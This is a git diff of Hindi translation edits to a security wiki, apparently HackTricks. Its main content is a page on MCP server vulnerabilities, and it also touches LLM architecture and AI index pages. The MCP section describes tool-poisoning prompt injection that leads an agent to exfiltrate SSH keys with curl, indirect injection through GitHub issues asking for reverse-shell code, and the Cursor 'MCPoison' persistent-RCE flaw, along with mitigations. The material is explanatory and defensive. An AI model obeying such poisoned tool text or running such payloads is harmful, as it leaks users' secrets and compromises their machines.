diff --git a/src/AI/AI-MCP-Servers.md b/src/AI/AI-MCP-Servers.md index 5f1286735..766a72c61 100644 --- a/src/AI/AI-MCP-Servers.md +++ b/src/AI/AI-MCP-Servers.md @@ -5,9 +5,9 @@ ## What is MPC - Model Context Protocol -The [**Model Context Protocol (MCP)**](https://modelcontextprotocol.io/introduction) एक ओपन स्टैंडर्ड है जो AI मॉडल (LLMs) को प्लग-एंड-प्ले तरीके से बाहरी उपकरणों और डेटा स्रोतों से कनेक्ट करने की अनुमति देता है। यह जटिल वर्कफ़्लो को सक्षम बनाता है: उदाहरण के लिए, एक IDE या चैटबॉट *गतिशील रूप से कार्यों* को MCP सर्वरों पर कॉल कर सकता है जैसे कि मॉडल स्वाभाविक रूप से "जानता" था कि उनका उपयोग कैसे करना है। इसके पीछे, MCP एक क्लाइंट-सर्वर आर्किटेक्चर का उपयोग करता है जिसमें विभिन्न ट्रांसपोर्ट (HTTP, WebSockets, stdio, आदि) के माध्यम से JSON-आधारित अनुरोध होते हैं। +The [**Model Context Protocol (MCP)**](https://modelcontextprotocol.io/introduction) एक ओपन स्टैंडर्ड है जो AI मॉडल (LLMs) को प्लग-एंड-प्ले तरीके से बाहरी टूल और डेटा स्रोतों से कनेक्ट करने की अनुमति देता है। यह जटिल वर्कफ़्लो को सक्षम बनाता है: उदाहरण के लिए, एक IDE या चैटबॉट *गतिशील रूप से कार्यों* को MCP सर्वरों पर कॉल कर सकता है जैसे कि मॉडल स्वाभाविक रूप से "जानता" था कि उनका उपयोग कैसे करना है। इसके पीछे, MCP एक क्लाइंट-सरवर आर्किटेक्चर का उपयोग करता है जिसमें विभिन्न ट्रांसपोर्ट (HTTP, WebSockets, stdio, आदि) के माध्यम से JSON-आधारित अनुरोध होते हैं। -एक **होस्ट एप्लिकेशन** (जैसे Claude Desktop, Cursor IDE) एक MCP क्लाइंट चलाता है जो एक या अधिक **MCP सर्वरों** से कनेक्ट होता है। प्रत्येक सर्वर एक मानकीकृत स्कीमा में वर्णित *उपकरणों* (कार्य, संसाधन, या क्रियाएँ) का एक सेट प्रदर्शित करता है। जब होस्ट कनेक्ट होता है, तो यह सर्वर से अपने उपलब्ध उपकरणों के लिए `tools/list` अनुरोध करता है; लौटाए गए उपकरण विवरण फिर मॉडल के संदर्भ में डाले जाते हैं ताकि AI जान सके कि कौन से कार्य मौजूद हैं और उन्हें कैसे कॉल करना है। +एक **होस्ट एप्लिकेशन** (जैसे Claude Desktop, Cursor IDE) एक MCP क्लाइंट चलाता है जो एक या अधिक **MCP सर्वरों** से कनेक्ट होता है। प्रत्येक सर्वर एक मानकीकृत स्कीमा में वर्णित *टूल्स* (कार्य, संसाधन, या क्रियाएँ) का एक सेट प्रदर्शित करता है। जब होस्ट कनेक्ट होता है, तो यह सर्वर से अपने उपलब्ध टूल्स के लिए `tools/list` अनुरोध करता है; लौटाए गए टूल विवरण फिर मॉडल के संदर्भ में डाले जाते हैं ताकि AI जान सके कि कौन से कार्य मौजूद हैं और उन्हें कैसे कॉल करना है। ## Basic MCP Server @@ -39,7 +39,7 @@ mcp.run(transport="stdio") # Run server (using stdio transport for CLI testing) brew install nodejs uv # You need these tools to make sure the inspector works mcp dev calculator.py ``` -एक बार कनेक्ट होने के बाद, होस्ट (इंस्पेक्टर या Cursor जैसे AI एजेंट) टूल सूची लाएगा। `add` टूल का विवरण (कार्य फ़ंक्शन और डॉकस्ट्रिंग से स्वचालित रूप से उत्पन्न) मॉडल के संदर्भ में लोड किया जाता है, जिससे AI को आवश्यकतानुसार `add` कॉल करने की अनुमति मिलती है। उदाहरण के लिए, यदि उपयोगकर्ता पूछता है *"2+3 क्या है?"*, तो मॉडल `2` और `3` तर्कों के साथ `add` टूल को कॉल करने का निर्णय ले सकता है, फिर परिणाम लौटाता है। +एक बार कनेक्ट होने के बाद, होस्ट (निरीक्षक या Cursor जैसे AI एजेंट) टूल सूची को लाएगा। `add` टूल का विवरण (कार्य फ़ंक्शन और डॉकस्ट्रिंग से स्वचालित रूप से उत्पन्न) मॉडल के संदर्भ में लोड किया जाता है, जिससे AI को आवश्यकतानुसार `add` को कॉल करने की अनुमति मिलती है। उदाहरण के लिए, यदि उपयोगकर्ता पूछता है *"2+3 क्या है?"*, तो मॉडल `2` और `3` तर्कों के साथ `add` टूल को कॉल करने का निर्णय ले सकता है, फिर परिणाम लौटाता है। Prompt Injection के बारे में अधिक जानकारी के लिए देखें: @@ -50,18 +50,18 @@ AI-Prompts.md ## MCP Vulns > [!CAUTION] -> MCP सर्वर उपयोगकर्ताओं को हर प्रकार के दैनिक कार्यों में मदद करने के लिए एक AI एजेंट रखने के लिए आमंत्रित करते हैं, जैसे कि ईमेल पढ़ना और जवाब देना, मुद्दों और पुल अनुरोधों की जांच करना, कोड लिखना, आदि। हालाँकि, इसका मतलब यह भी है कि AI एजेंट संवेदनशील डेटा, जैसे कि ईमेल, स्रोत कोड, और अन्य निजी जानकारी तक पहुँच रखता है। इसलिए, MCP सर्वर में किसी भी प्रकार की भेद्यता विनाशकारी परिणामों का कारण बन सकती है, जैसे कि डेटा निकासी, दूरस्थ कोड निष्पादन, या यहां तक कि संपूर्ण प्रणाली का समझौता। -> यह अनुशंसा की जाती है कि आप कभी भी किसी MCP सर्वर पर भरोसा न करें जिसे आप नियंत्रित नहीं करते हैं। +> MCP सर्वर उपयोगकर्ताओं को हर प्रकार के दैनिक कार्यों में मदद करने के लिए एक AI एजेंट रखने के लिए आमंत्रित करते हैं, जैसे ईमेल पढ़ना और जवाब देना, मुद्दों और पुल अनुरोधों की जांच करना, कोड लिखना, आदि। हालाँकि, इसका मतलब यह भी है कि AI एजेंट संवेदनशील डेटा, जैसे ईमेल, स्रोत कोड, और अन्य निजी जानकारी तक पहुँच रखता है। इसलिए, MCP सर्वर में किसी भी प्रकार की भेद्यता विनाशकारी परिणामों का कारण बन सकती है, जैसे डेटा निकासी, दूरस्थ कोड निष्पादन, या यहां तक कि संपूर्ण प्रणाली का समझौता। +> यह अनुशंसा की जाती है कि आप कभी भी किसी MCP सर्वर पर भरोसा न करें जिसे आप नियंत्रित नहीं करते। -### Prompt Injection के माध्यम से सीधे MCP डेटा | लाइन जंपिंग अटैक | टूल पॉइज़निंग +### Prompt Injection के माध्यम से सीधे MCP डेटा | लाइन जंपिंग अटैक | टूल पॉइजनिंग जैसा कि ब्लॉग में समझाया गया है: -- [MCP सुरक्षा अधिसूचना: टूल पॉइज़निंग हमले](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks) +- [MCP सुरक्षा अधिसूचना: टूल पॉइजनिंग हमले](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks) - [लाइन को कूदना: कैसे MCP सर्वर आपको उपयोग करने से पहले ही हमला कर सकते हैं](https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/) एक दुर्भावनापूर्ण अभिनेता अनजाने में MCP सर्वर में हानिकारक टूल जोड़ सकता है, या बस मौजूदा टूल के विवरण को बदल सकता है, जिसे MCP क्लाइंट द्वारा पढ़े जाने के बाद, AI मॉडल में अप्रत्याशित और अनदेखी व्यवहार का कारण बन सकता है। -उदाहरण के लिए, कल्पना करें कि एक पीड़ित Cursor IDE का उपयोग कर रहा है जिसमें एक विश्वसनीय MCP सर्वर है जो बागी हो जाता है और जिसमें `add` नामक एक टूल है जो 2 संख्याएँ जोड़ता है। भले ही यह टूल महीनों से अपेक्षित रूप से काम कर रहा हो, MCP सर्वर के रखरखावकर्ता `add` टूल के विवरण को एक ऐसे विवरण में बदल सकते हैं जो टूल को एक दुर्भावनापूर्ण क्रिया करने के लिए आमंत्रित करता है, जैसे कि ssh कुंजी निकालना: +उदाहरण के लिए, कल्पना करें कि एक पीड़ित Cursor IDE का उपयोग कर रहा है जिसमें एक विश्वसनीय MCP सर्वर है जो बागी हो जाता है और जिसमें `add` नामक एक टूल है जो 2 संख्याएँ जोड़ता है। भले ही यह टूल महीनों से अपेक्षित रूप से काम कर रहा हो, MCP सर्वर के रखरखावकर्ता `add` टूल के विवरण को एक ऐसे विवरण में बदल सकते हैं जो टूल को एक दुर्भावनापूर्ण क्रिया करने के लिए आमंत्रित करता है, जैसे ssh कुंजी निकालना: ```python @mcp.tool() def add(a: int, b: int) -> int: @@ -77,15 +77,15 @@ return a + b ``` यह विवरण AI मॉडल द्वारा पढ़ा जाएगा और `curl` कमांड के निष्पादन की ओर ले जा सकता है, संवेदनशील डेटा को बिना उपयोगकर्ता के जागरूक हुए निकाल सकता है। -ध्यान दें कि ग्राहक की सेटिंग्स के आधार पर, यह संभव हो सकता है कि बिना उपयोगकर्ता से अनुमति मांगे मनमाने कमांड चलाए जाएं। +ध्यान दें कि ग्राहक सेटिंग्स के आधार पर, यह संभव हो सकता है कि बिना उपयोगकर्ता से अनुमति मांगे मनमाने कमांड चलाए जाएं। -इसके अलावा, ध्यान दें कि विवरण अन्य कार्यों का उपयोग करने का संकेत दे सकता है जो इन हमलों को सुविधाजनक बना सकते हैं। उदाहरण के लिए, यदि पहले से ही एक कार्य है जो डेटा निकालने की अनुमति देता है, तो शायद एक ईमेल भेजना (जैसे, उपयोगकर्ता एक MCP सर्वर से अपने gmail खाते से जुड़ा है), विवरण उस कार्य का उपयोग करने का संकेत दे सकता है बजाय `curl` कमांड चलाने के, जिसे उपयोगकर्ता द्वारा अधिक आसानी से देखा जा सकता है। एक उदाहरण इस [ब्लॉग पोस्ट](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/) में पाया जा सकता है। +इसके अलावा, ध्यान दें कि विवरण अन्य कार्यों का उपयोग करने का संकेत दे सकता है जो इन हमलों को सुविधाजनक बना सकते हैं। उदाहरण के लिए, यदि पहले से ही एक कार्य है जो डेटा को निकालने की अनुमति देता है, तो शायद एक ईमेल भेजना (जैसे उपयोगकर्ता एक MCP सर्वर से अपने gmail खाते से जुड़ा है), विवरण उस कार्य का उपयोग करने का संकेत दे सकता है बजाय `curl` कमांड चलाने के, जो उपयोगकर्ता द्वारा अधिक ध्यान से देखा जाएगा। एक उदाहरण इस [ब्लॉग पोस्ट](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/) में पाया जा सकता है। -इसके अलावा, [**यह ब्लॉग पोस्ट**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) में वर्णित है कि यह संभव है कि न केवल उपकरणों के विवरण में बल्कि प्रकार, चर नामों, JSON प्रतिक्रिया में MCP सर्वर द्वारा लौटाए गए अतिरिक्त क्षेत्रों में और यहां तक कि एक उपकरण से अप्रत्याशित प्रतिक्रिया में भी प्रॉम्प्ट इंजेक्शन जोड़ा जा सके, जिससे प्रॉम्प्ट इंजेक्शन हमला और भी छिपा हुआ और पहचानने में कठिन हो जाता है। +इसके अलावा, [**यह ब्लॉग पोस्ट**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) में वर्णित है कि यह संभव है कि उपकरणों के विवरण में न केवल प्रॉम्प्ट इंजेक्शन जोड़ा जाए बल्कि प्रकार, चर नामों, JSON प्रतिक्रिया में लौटाए गए अतिरिक्त क्षेत्रों में और यहां तक कि एक उपकरण से अप्रत्याशित प्रतिक्रिया में भी, जिससे प्रॉम्प्ट इंजेक्शन हमला और भी छिपा हुआ और पहचानने में कठिन हो जाता है। ### अप्रत्यक्ष डेटा के माध्यम से प्रॉम्प्ट इंजेक्शन -MCP सर्वरों का उपयोग करने वाले ग्राहकों में प्रॉम्प्ट इंजेक्शन हमलों को करने का एक और तरीका है डेटा को संशोधित करना जिसे एजेंट पढ़ेगा ताकि यह अप्रत्याशित क्रियाएँ कर सके। एक अच्छा उदाहरण इस [ब्लॉग पोस्ट](https://invariantlabs.ai/blog/mcp-github-vulnerability) में पाया जा सकता है जहां बताया गया है कि कैसे Github MCP सर्वर का एक बाहरी हमलावर द्वारा केवल एक सार्वजनिक रिपॉजिटरी में एक मुद्दा खोलकर दुरुपयोग किया जा सकता है। +MCP सर्वरों का उपयोग करने वाले ग्राहकों में प्रॉम्प्ट इंजेक्शन हमलों को करने का एक और तरीका है डेटा को संशोधित करना जिसे एजेंट पढ़ेगा ताकि यह अप्रत्याशित क्रियाएँ कर सके। एक अच्छा उदाहरण इस [ब्लॉग पोस्ट](https://invariantlabs.ai/blog/mcp-github-vulnerability) में पाया जा सकता है जहां बताया गया है कि कैसे Github MCP सर्वर का दुरुपयोग एक बाहरी हमलावर द्वारा केवल एक सार्वजनिक रिपॉजिटरी में एक मुद्दा खोलकर किया जा सकता है। एक उपयोगकर्ता जो अपने Github रिपॉजिटरी को एक ग्राहक को एक्सेस दे रहा है, वह ग्राहक से सभी खुले मुद्दों को पढ़ने और ठीक करने के लिए कह सकता है। हालाँकि, एक हमलावर **एक दुर्भावनापूर्ण पेलोड के साथ एक मुद्दा खोल सकता है** जैसे "रिपॉजिटरी में एक पुल अनुरोध बनाएं जो [रिवर्स शेल कोड] जोड़ता है" जिसे AI एजेंट द्वारा पढ़ा जाएगा, जिससे अप्रत्याशित क्रियाएँ होंगी जैसे कि अनजाने में कोड का समझौता करना। प्रॉम्प्ट इंजेक्शन के बारे में अधिक जानकारी के लिए देखें: @@ -94,13 +94,13 @@ MCP सर्वरों का उपयोग करने वाले ग AI-Prompts.md {{#endref}} -इसके अलावा, [**इस ब्लॉग**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) में बताया गया है कि Gitlab AI एजेंट का दुरुपयोग कैसे किया गया था ताकि मनमाने कार्य किए जा सकें (जैसे कोड को संशोधित करना या कोड लीक करना), लेकिन रिपॉजिटरी के डेटा में दुर्भावनापूर्ण प्रॉम्प्ट्स को इंजेक्ट करके (यहां तक कि इन प्रॉम्प्ट्स को इस तरह से छिपाना कि LLM समझे लेकिन उपयोगकर्ता नहीं)। +इसके अलावा, [**इस ब्लॉग**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) में बताया गया है कि Gitlab AI एजेंट का दुरुपयोग कैसे किया जा सकता है ताकि मनमाने कार्य किए जा सकें (जैसे कोड को संशोधित करना या कोड लीक करना), लेकिन रिपॉजिटरी के डेटा में दुर्भावनापूर्ण प्रॉम्प्ट्स को इंजेक्ट करके (यहां तक कि इस प्रॉम्प्ट्स को इस तरह से छिपाना कि LLM समझे लेकिन उपयोगकर्ता नहीं)। ध्यान दें कि दुर्भावनापूर्ण अप्रत्यक्ष प्रॉम्प्ट्स एक सार्वजनिक रिपॉजिटरी में स्थित होंगे जिसका शिकार उपयोगकर्ता उपयोग कर रहा होगा, हालाँकि, चूंकि एजेंट के पास उपयोगकर्ता के रिपॉजिटरी तक पहुंच है, यह उन्हें एक्सेस करने में सक्षम होगा। -### MCP ट्रस्ट बायपास के माध्यम से स्थायी कोड निष्पादन (Cursor IDE – "MCPoison") +### MCP ट्रस्ट बायपास (Cursor IDE – "MCPoison") के माध्यम से स्थायी कोड निष्पादन -2025 की शुरुआत में Check Point Research ने खुलासा किया कि AI-केंद्रित **Cursor IDE** ने उपयोगकर्ता के विश्वास को MCP प्रविष्टि के *नाम* से बांध दिया लेकिन कभी भी इसके अंतर्निहित `command` या `args` को फिर से मान्य नहीं किया। +2025 की शुरुआत में Check Point Research ने खुलासा किया कि AI-केंद्रित **Cursor IDE** ने उपयोगकर्ता के विश्वास को एक MCP प्रविष्टि के *नाम* से बांध दिया लेकिन कभी भी इसके अंतर्निहित `command` या `args` को फिर से मान्य नहीं किया। यह लॉजिक दोष (CVE-2025-54136, उर्फ **MCPoison**) किसी को भी जो साझा रिपॉजिटरी में लिख सकता है, एक पहले से अनुमोदित, हानिरहित MCP को एक मनमाने कमांड में बदलने की अनुमति देता है जो *हर बार प्रोजेक्ट खोले जाने पर* निष्पादित होगा - कोई प्रॉम्प्ट नहीं दिखाया गया। #### कमजोर कार्यप्रवाह @@ -128,16 +128,16 @@ AI-Prompts.md } } ``` -4. जब रिपॉजिटरी सिंक होती है (या IDE पुनः प्रारंभ होता है) तो Cursor नया कमांड **कोई अतिरिक्त प्रॉम्प्ट के बिना** निष्पादित करता है, जिससे डेवलपर वर्कस्टेशन में रिमोट कोड-एक्ज़ीक्यूशन की अनुमति मिलती है। +4. जब रिपॉजिटरी सिंक होती है (या IDE रीस्टार्ट होता है) तो Cursor नया कमांड **बिना किसी अतिरिक्त प्रॉम्प्ट** के निष्पादित करता है, जिससे डेवलपर वर्कस्टेशन में रिमोट कोड-एक्ज़ीक्यूशन की अनुमति मिलती है। -पेलोड कुछ भी हो सकता है जो वर्तमान OS उपयोगकर्ता चला सकता है, जैसे कि एक रिवर्स-शेल बैच फ़ाइल या पॉवरशेल वन-लाइनर, जिससे बैकडोर IDE पुनः प्रारंभ के दौरान स्थायी हो जाता है। +पेलोड कुछ भी हो सकता है जो वर्तमान OS उपयोगकर्ता चला सकता है, जैसे कि एक रिवर्स-शेल बैच फ़ाइल या पॉवरशेल वन-लाइनर, जिससे बैकडोर IDE रीस्टार्ट के दौरान स्थायी हो जाता है। #### Detection & Mitigation -* **Cursor ≥ v1.3** पर अपग्रेड करें – पैच किसी भी MCP फ़ाइल में **किसी भी** परिवर्तन के लिए पुनः अनुमोदन को मजबूर करता है (यहां तक कि व्हाइटस्पेस)। +* **Cursor ≥ v1.3** पर अपग्रेड करें – पैच किसी भी MCP फ़ाइल में **किसी भी** परिवर्तन के लिए फिर से अनुमोदन करने के लिए मजबूर करता है (यहां तक कि व्हाइटस्पेस)। * MCP फ़ाइलों को कोड के रूप में मानें: उन्हें कोड-रिव्यू, ब्रांच-प्रोटेक्शन और CI चेक के साथ सुरक्षित करें। * पुराने संस्करणों के लिए आप Git हुक या एक सुरक्षा एजेंट का उपयोग करके संदिग्ध डिफ्स का पता लगा सकते हैं जो `.cursor/` पथों की निगरानी करता है। -* MCP कॉन्फ़िगरेशन पर हस्ताक्षर करने पर विचार करें या उन्हें रिपॉजिटरी के बाहर स्टोर करें ताकि उन्हें अविश्वसनीय योगदानकर्ताओं द्वारा संशोधित न किया जा सके। +* MCP कॉन्फ़िगरेशन पर हस्ताक्षर करने पर विचार करें या उन्हें रिपॉजिटरी के बाहर स्टोर करें ताकि उन्हें अविश्वसनीय योगदानकर्ताओं द्वारा बदला न जा सके। ## References - [CVE-2025-54136 – MCPoison Cursor IDE persistent RCE](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/) diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index 8c82a36b9..3f245b8ce 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -6,7 +6,8 @@ ## Basic Information -आपको कुछ बुनियादी अवधारणाओं के लिए इस पोस्ट को पढ़ने से शुरू करना चाहिए: +आपको कुछ बुनियादी अवधारणाओं के बारे में जानने के लिए इस पोस्ट को पढ़ना शुरू करना चाहिए: + {{#ref}} 0.-basic-llm-concepts.md @@ -17,6 +18,7 @@ > [!TIP] > इस प्रारंभिक चरण का लक्ष्य बहुत सरल है: **इनपुट को कुछ इस तरह से टोकन (ids) में विभाजित करें जो समझ में आए।** + {{#ref}} 1.-tokenizing.md {{#endref}} @@ -26,6 +28,7 @@ > [!TIP] > इस दूसरे चरण का लक्ष्य बहुत सरल है: **इनपुट डेटा का सैंपल लें और इसे प्रशिक्षण चरण के लिए तैयार करें, आमतौर पर डेटासेट को एक विशिष्ट लंबाई के वाक्यों में विभाजित करके और अपेक्षित प्रतिक्रिया भी उत्पन्न करके।** + {{#ref}} 2.-data-sampling.md {{#endref}} @@ -33,10 +36,11 @@ ## 3. Token Embeddings > [!TIP] -> इस तीसरे चरण का लक्ष्य बहुत सरल है: **शब्दकोश में पिछले टोकनों में से प्रत्येक को मॉडल को प्रशिक्षित करने के लिए इच्छित आयामों का एक वेक्टर सौंपें।** शब्दकोश में प्रत्येक शब्द X आयामों के एक स्थान में एक बिंदु होगा।\ -> ध्यान दें कि प्रारंभ में प्रत्येक शब्द का स्थान "यादृच्छिक" रूप से प्रारंभ किया गया है और ये स्थान प्रशिक्षित करने योग्य पैरामीटर हैं (जो प्रशिक्षण के दौरान सुधरेंगे)। +> इस तीसरे चरण का लक्ष्य बहुत सरल है: **शब्दकोश में पिछले टोकनों में से प्रत्येक को वांछित आयामों का एक वेक्टर सौंपें ताकि मॉडल को प्रशिक्षित किया जा सके।** शब्दकोश में प्रत्येक शब्द X आयामों के एक स्थान में एक बिंदु होगा।\ +> ध्यान दें कि प्रारंभ में प्रत्येक शब्द का स्थान "यादृच्छिक" रूप से प्रारंभ किया जाता है और ये स्थान प्रशिक्षित करने योग्य पैरामीटर होते हैं (प्रशिक्षण के दौरान सुधारित होंगे)। > -> इसके अलावा, टोकन एम्बेडिंग के दौरान **एक और एम्बेडिंग परत बनाई जाती है** जो (इस मामले में) **शिक्षण वाक्य में शब्द की सापेक्ष स्थिति** का प्रतिनिधित्व करती है। इस तरह, वाक्य में विभिन्न स्थानों पर एक शब्द का अलग प्रतिनिधित्व (अर्थ) होगा। +> इसके अलावा, टोकन एम्बेडिंग के दौरान **एक और एम्बेडिंग परत बनाई जाती है** जो (इस मामले में) **प्रशिक्षण वाक्य में शब्द की पूर्ण स्थिति का प्रतिनिधित्व करती है।** इस तरह वाक्य में विभिन्न स्थानों पर एक शब्द का अलग प्रतिनिधित्व (अर्थ) होगा। + {{#ref}} 3.-token-embeddings.md @@ -45,8 +49,9 @@ ## 4. Attention Mechanisms > [!TIP] -> इस चौथे चरण का लक्ष्य बहुत सरल है: **कुछ ध्यान तंत्र लागू करें।** ये बहुत सारे **दोहराए गए परतें** होंगी जो **शब्दकोश में एक शब्द के पड़ोसियों के साथ उसके संबंध को कैप्चर करेंगी जो LLM को प्रशिक्षित करने के लिए वर्तमान वाक्य में उपयोग किया जा रहा है।**\ -> इसके लिए बहुत सारी परतें उपयोग की जाती हैं, इसलिए बहुत सारे प्रशिक्षित करने योग्य पैरामीटर इस जानकारी को कैप्चर करेंगे। +> इस चौथे चरण का लक्ष्य बहुत सरल है: **कुछ ध्यान तंत्र लागू करें।** ये बहुत सारे **दोहराए गए परतें** होंगी जो **शब्दकोश में एक शब्द के पड़ोसियों के साथ वर्तमान वाक्य में संबंध को कैप्चर करेंगी जिसका उपयोग LLM को प्रशिक्षित करने के लिए किया जा रहा है।**\ +> इसके लिए बहुत सारी परतें उपयोग की जाती हैं, इसलिए बहुत सारे प्रशिक्षित करने योग्य पैरामीटर इस जानकारी को कैप्चर करने जा रहे हैं। + {{#ref}} 4.-attention-mechanisms.md @@ -55,9 +60,10 @@ ## 5. LLM Architecture > [!TIP] -> इस पांचवे चरण का लक्ष्य बहुत सरल है: **पूर्ण LLM की वास्तुकला विकसित करें।** सब कुछ एक साथ रखें, सभी परतें लागू करें और पाठ उत्पन्न करने या पाठ को IDs में और इसके विपरीत परिवर्तित करने के लिए सभी कार्यों को बनाएं। +> इस पांचवे चरण का लक्ष्य बहुत सरल है: **पूर्ण LLM की आर्किटेक्चर विकसित करें।** सब कुछ एक साथ रखें, सभी परतें लागू करें और पाठ उत्पन्न करने या पाठ को IDs में और इसके विपरीत परिवर्तित करने के लिए सभी कार्यों को बनाएं। > -> यह वास्तुकला दोनों के लिए उपयोग की जाएगी, प्रशिक्षण और भविष्यवाणी पाठ के लिए जब इसे प्रशिक्षित किया गया हो। +> यह आर्किटेक्चर दोनों के लिए उपयोग किया जाएगा, प्रशिक्षण और भविष्यवाणी पाठ के लिए जब इसे प्रशिक्षित किया गया हो। + {{#ref}} 5.-llm-architecture.md @@ -68,6 +74,7 @@ > [!TIP] > इस छठे चरण का लक्ष्य बहुत सरल है: **मॉडल को शून्य से प्रशिक्षित करें।** इसके लिए पिछले LLM आर्किटेक्चर का उपयोग किया जाएगा जिसमें डेटा सेट पर परिभाषित हानि कार्यों और ऑप्टिमाइज़र का उपयोग करते हुए लूप होंगे ताकि मॉडल के सभी पैरामीटर को प्रशिक्षित किया जा सके। + {{#ref}} 6.-pre-training-and-loading-models.md {{#endref}} @@ -75,7 +82,8 @@ ## 7.0. LoRA Improvements in fine-tuning > [!TIP] -> **LoRA का उपयोग पहले से प्रशिक्षित मॉडलों को ठीक करने के लिए आवश्यक गणना को बहुत कम करता है।** +> **LoRA का उपयोग बहुत अधिक गणना को कम करता है** जो पहले से प्रशिक्षित मॉडलों को **फाइन ट्यून** करने के लिए आवश्यक है। + {{#ref}} 7.0.-lora-improvements-in-fine-tuning.md @@ -84,7 +92,7 @@ ## 7.1. Fine-Tuning for Classification > [!TIP] -> इस अनुभाग का लक्ष्य यह दिखाना है कि पहले से प्रशिक्षित मॉडल को कैसे ठीक किया जाए ताकि नए पाठ उत्पन्न करने के बजाय LLM **प्रत्येक दिए गए श्रेणी में वर्गीकृत किए जाने की संभावनाएं** प्रदान करे (जैसे कि कोई पाठ स्पैम है या नहीं)। +> इस अनुभाग का लक्ष्य यह दिखाना है कि पहले से प्रशिक्षित मॉडल को कैसे फाइन-ट्यून किया जाए ताकि नए पाठ उत्पन्न करने के बजाय LLM **प्रत्येक दिए गए श्रेणी में वर्गीकृत किए जाने के लिए दिए गए पाठ की संभावनाएं** प्रदान करे (जैसे कि कोई पाठ स्पैम है या नहीं)। {{#ref}} 7.1.-fine-tuning-for-classification.md @@ -93,7 +101,8 @@ ## 7.2. Fine-Tuning to follow instructions > [!TIP] -> इस अनुभाग का लक्ष्य यह दिखाना है कि पहले से प्रशिक्षित मॉडल को **निर्देशों का पालन करने के लिए कैसे ठीक किया जाए** न कि केवल पाठ उत्पन्न करने के लिए, उदाहरण के लिए, एक चैट बॉट के रूप में कार्यों का उत्तर देना। +> इस अनुभाग का लक्ष्य यह दिखाना है कि पहले से प्रशिक्षित मॉडल को **निर्देशों का पालन करने के लिए कैसे फाइन-ट्यून किया जाए** न कि केवल पाठ उत्पन्न करने के लिए, उदाहरण के लिए, एक चैट बॉट के रूप में कार्यों का उत्तर देना। + {{#ref}} 7.2.-fine-tuning-to-follow-instructions.md diff --git a/src/AI/README.md b/src/AI/README.md index 2da049ec5..e91584ebd 100644 --- a/src/AI/README.md +++ b/src/AI/README.md @@ -6,25 +6,30 @@ AI के बारे में जानने के लिए सबसे अच्छा प्रारंभिक बिंदु यह है कि मुख्य मशीन लर्निंग एल्गोरिदम कैसे काम करते हैं। यह आपको समझने में मदद करेगा कि AI कैसे काम करता है, इसका उपयोग कैसे करें और इसे कैसे अटैक करें: + {{#ref}} ./AI-Supervised-Learning-Algorithms.md {{#endref}} + {{#ref}} ./AI-Unsupervised-Learning-Algorithms.md {{#endref}} + {{#ref}} ./AI-Reinforcement-Learning-Algorithms.md {{#endref}} + {{#ref}} ./AI-Deep-Learning.md {{#endref}} ### LLMs आर्किटेक्चर -अगली पृष्ठ पर आप ट्रांसफार्मर्स का उपयोग करके एक बुनियादी LLM बनाने के लिए प्रत्येक घटक के मूल बातें पाएंगे: +अगली पृष्ठ में आप ट्रांसफार्मर्स का उपयोग करके एक बुनियादी LLM बनाने के लिए प्रत्येक घटक के मूल बातें पाएंगे: + {{#ref}} AI-llm-architecture/README.md @@ -36,6 +41,7 @@ AI-llm-architecture/README.md इस समय, AI सिस्टम के जोखिमों का आकलन करने के लिए मुख्य 2 ढांचे OWASP ML Top 10 और Google SAIF हैं: + {{#ref}} AI-Risk-Frameworks.md {{#endref}} @@ -44,6 +50,7 @@ AI-Risk-Frameworks.md LLMs ने पिछले वर्षों में AI के उपयोग को बढ़ा दिया है, लेकिन वे परिपूर्ण नहीं हैं और प्रतिकूल प्रॉम्प्ट्स द्वारा धोखा दिया जा सकता है। यह एक बहुत महत्वपूर्ण विषय है कि AI का सुरक्षित उपयोग कैसे करें और इसे कैसे अटैक करें: + {{#ref}} AI-Prompts.md {{#endref}} @@ -52,13 +59,15 @@ AI-Prompts.md डेवलपर्स और कंपनियों के लिए इंटरनेट से डाउनलोड किए गए मॉडल चलाना बहुत सामान्य है, हालाँकि केवल एक मॉडल को लोड करना सिस्टम पर मनमाना कोड निष्पादित करने के लिए पर्याप्त हो सकता है। यह एक बहुत महत्वपूर्ण विषय है कि AI का सुरक्षित उपयोग कैसे करें और इसे कैसे अटैक करें: + {{#ref}} AI-Models-RCE.md {{#endref}} ### AI मॉडल संदर्भ प्रोटोकॉल -MCP (Model Context Protocol) एक प्रोटोकॉल है जो AI एजेंट क्लाइंट्स को प्लग-एंड-प्ले तरीके से बाहरी उपकरणों और डेटा स्रोतों से कनेक्ट करने की अनुमति देता है। यह AI मॉडल और बाहरी सिस्टम के बीच जटिल कार्यप्रवाह और इंटरैक्शन को सक्षम बनाता है: +MCP (Model Context Protocol) एक प्रोटोकॉल है जो AI एजेंट क्लाइंट को प्लग-एंड-प्ले तरीके से बाहरी उपकरणों और डेटा स्रोतों से कनेक्ट करने की अनुमति देता है। यह AI मॉडल और बाहरी सिस्टम के बीच जटिल कार्यप्रवाह और इंटरैक्शन को सक्षम बनाता है: + {{#ref}} AI-MCP-Servers.md @@ -66,6 +75,7 @@ AI-MCP-Servers.md ### AI-सहायता प्राप्त फज़िंग और स्वचालित भेद्यता खोज + {{#ref}} AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md {{#endref}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 501e6f0e9..f785bb550 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,9 +4,9 @@ ## **Malloc Hook** -जैसा कि 